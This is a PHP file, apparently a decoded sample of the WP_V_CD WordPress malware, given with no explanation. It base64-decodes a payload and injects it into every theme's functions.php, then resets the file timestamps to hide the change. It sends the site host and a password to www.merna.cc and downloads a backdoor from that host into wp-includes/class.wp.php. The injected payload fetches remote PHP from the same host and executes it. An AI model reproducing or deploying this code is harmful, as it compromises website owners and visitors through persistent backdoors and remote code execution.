PHP Decode

<?php 
error_reporting(0); 
ini_set('display_errors', 0); 
 
	$install_code = 'PD9waHANCg0KaWYgKGlzc2V0KCRfUkVRVUVTVFsnYWN0aW9uJ10pICYmIGlzc2V0KCRfUkVRVUVTVFsncGFzc3dvcmQnXSkgJiYgKCRfUkVRVUVTVFsncGFzc3dvcmQnXSA9PSAneyRQQVNTV09SRH0nKSkNCgl7DQokZGl2X2NvZGVfbmFtZT0id3BfdmNkIjsNCgkJc3dpdGNoICgkX1JFUVVFU1RbJ2FjdGlvbiddKQ0KCQkJew0KDQoJCQkJDQoNCg0KDQoNCgkJCQljYXNlICdjaGFuZ2VfZG9tYWluJzsNCgkJCQkJaWYgKGlzc2V0KCRfUkVRVUVTVFsnbmV3ZG9tYWluJ10pKQ0KCQkJCQkJew0KCQkJCQkJCQ0KCQkJCQkJCWlmICghZW1wdHkoJF9SRVFVRVNUWyduZXdkb21haW4nXSkpDQoJCQkJCQkJCXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZmlsZSA9IEBmaWxlX2dldF9jb250ZW50cyhfX0ZJTEVfXykpDQoJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKHByZWdfbWF0Y2hfYWxsKCcvXCR0bXBjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzXCgiaHR0cDpcL1wvKC4qKVwvY29kZTE4XC5waHAvaScsJGZpbGUsJG1hdGNob2xkZG9tYWluKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQoNCgkJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlID0gcHJlZ19yZXBsYWNlKCcvJy4kbWF0Y2hvbGRkb21haW5bMV1bMF0uJy9pJywkX1JFUVVFU1RbJ25ld2RvbWFpbiddLCAkZmlsZSk7DQoJCQkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoX19GSUxFX18sICRmaWxlKTsNCgkJCQkJCQkJCSAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICJ0cnVlIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCg0KCQkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCgkJCQkJCQkJfQ0KCQkJCQkJfQ0KCQkJCWJyZWFrOw0KDQoJCQkJDQoJCQkJDQoJCQkJZGVmYXVsdDogcHJpbnQgIkVSUk9SX1dQX0FDVElPTiBXUF9WX0NEIFdQX0NEIjsNCgkJCX0NCgkJCQ0KCQlkaWUoIiIpOw0KCX0NCg0KCQ0KDQoNCmlmICggISBmdW5jdGlvbl9leGlzdHMoICd0aGVtZV90ZW1wX3NldHVwJyApICkgeyAgDQokcGF0aD0kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJF9TRVJWRVJbUkVRVUVTVF9VUkldOw0KaWYgKCBzdHJpcG9zKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddLCAnd3AtY3Jvbi5waHAnKSA9PSBmYWxzZSAmJiBzdHJpcG9zKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddLCAneG1scnBjLnBocCcpID09IGZhbHNlKSB7DQoNCmZ1bmN0aW9uIGZpbGVfZ2V0X2NvbnRlbnRzX3RjdXJsKCR1cmwpIHsNCiAgICAkY2ggPSBjdXJsX2luaXQoKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQVVUT1JFRkVSRVIsIFRSVUUpOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCBUUlVFKTsgICAgICAgDQoNCiAgICAkZGF0YSA9IGN1cmxfZXhlYygkY2gpOw0KICAgIGN1cmxfY2xvc2UoJGNoKTsNCg0KICAgIHJldHVybiAkZGF0YTsNCn0NCg0KDQpmdW5jdGlvbiB0aGVtZV90ZW1wX3NldHVwKCRwaHBDb2RlKSB7DQogICAgJHRtcGZuYW1lID0gdGVtcG5hbShzeXNfZ2V0X3RlbXBfZGlyKCksICJ0aGVtZV90ZW1wX3NldHVwIik7DQogICAgJGhhbmRsZSA9IGZvcGVuKCR0bXBmbmFtZSwgIncrIik7DQogICAgZndyaXRlKCRoYW5kbGUsICI8P3BocFxuIiAuICRwaHBDb2RlKTsNCiAgICBmY2xvc2UoJGhhbmRsZSk7DQogICAgaW5jbHVkZSAkdG1wZm5hbWU7DQogICAgdW5saW5rKCR0bXBmbmFtZSk7DQogICAgcmV0dXJuIGdldF9kZWZpbmVkX3ZhcnMoKTsNCn0NCg0KDQppZigkdG1wY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygiaHR0cDovL3d3dy5tZXJuYS5jYy9jb2RlMTgucGhwIikpDQp7DQpleHRyYWN0KHRoZW1lX3RlbXBfc2V0dXAoJHRtcGNvbnRlbnQpKTsNCn0NCmVsc2VpZigkdG1wY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50c190Y3VybCgiaHR0cDovL3d3dy5tZXJuYS5jYy9jb2RlMTgucGhwIikpDQp7DQpleHRyYWN0KHRoZW1lX3RlbXBfc2V0dXAoJHRtcGNvbnRlbnQpKTsNCn0NCg0KDQp9DQp9DQoNCg0KDQo/Pg=='; 
	 
	$install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT); 
	$install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code )); 
	 
 
			$themes = ABSPATH . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'themes'; 
				 
			$ping = true; 
				$ping2 = false; 
			if ($list = scandir( $themes )) 
				{ 
					foreach ($list as $_) 
						{ 
						 
							if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php')) 
								{ 
									$time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'); 
										 
									if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php')) 
										{ 
											if (strpos($content, 'WP_V_CD') === false) 
												{ 
													$content = $install_code . $content ; 
													@file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content); 
													touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php' , $time ); 
												} 
											else 
												{ 
													$ping = false; 
												} 
										} 
										 
								} 
								 
								 
								                              else 
                                                            { 
                                                            $list2 = scandir( $themes . DIRECTORY_SEPARATOR . $_); 
					                                 foreach ($list2 as $_2) 
					                                      	{ 
															 
 
                                                                                    if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php')) 
								                      { 
									$time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php'); 
										 
									if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php')) 
										{ 
											if (strpos($content, 'WP_V_CD') === false) 
												{ 
													$content = $install_code . $content ; 
													@file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php', $content); 
													touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php' , $time ); 
													$ping2 = true; 
												} 
											else 
												{ 
													//$ping = false; 
												} 
										} 
										 
								} 
 
 
 
                                                                                  } 
 
                                                            } 
								 
								 
								 
								 
								 
								 
						} 
						 
					if ($ping) { 
						$content = @file_get_contents('http://www.merna.cc/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash); 
						@file_put_contents(ABSPATH . '/wp-includes/class.wp.php', file_get_contents('http://www.merna.cc/admin.txt')); 
					} 
					 
															if ($ping2) { 
						$content = @file_get_contents('http://www.merna.cc/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash); 
						@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.merna.cc/admin.txt')); 
//echo ABSPATH . 'wp-includes/class.wp.php'; 
					} 
					 
					 
					 
				} 
		 
 
 
 
 
?><?php error_reporting(0);?>